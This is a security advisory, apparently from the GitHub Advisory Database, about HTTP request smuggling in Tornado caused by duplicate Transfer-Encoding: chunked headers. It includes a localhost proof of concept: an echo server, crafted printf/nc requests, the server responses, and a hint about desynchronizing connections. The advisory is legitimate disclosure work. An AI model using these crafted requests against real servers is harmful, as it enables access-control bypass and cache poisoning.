Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

0. Install Tornado.
1. Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &

2. Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

3. Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

4. Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

5. Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Permalink: https://github.com/advisories/GHSA-753j-mpmx-qq6g
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 6 months ago
Updated: 5 months ago

CVSS Score: 5.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Identifiers: GHSA-753j-mpmx-qq6g
References:

• https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g
• https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572
• https://github.com/advisories/GHSA-753j-mpmx-qq6g

Repository: https://github.com/tornadoweb/tornado
Blast Radius: 26.8

Affected Packages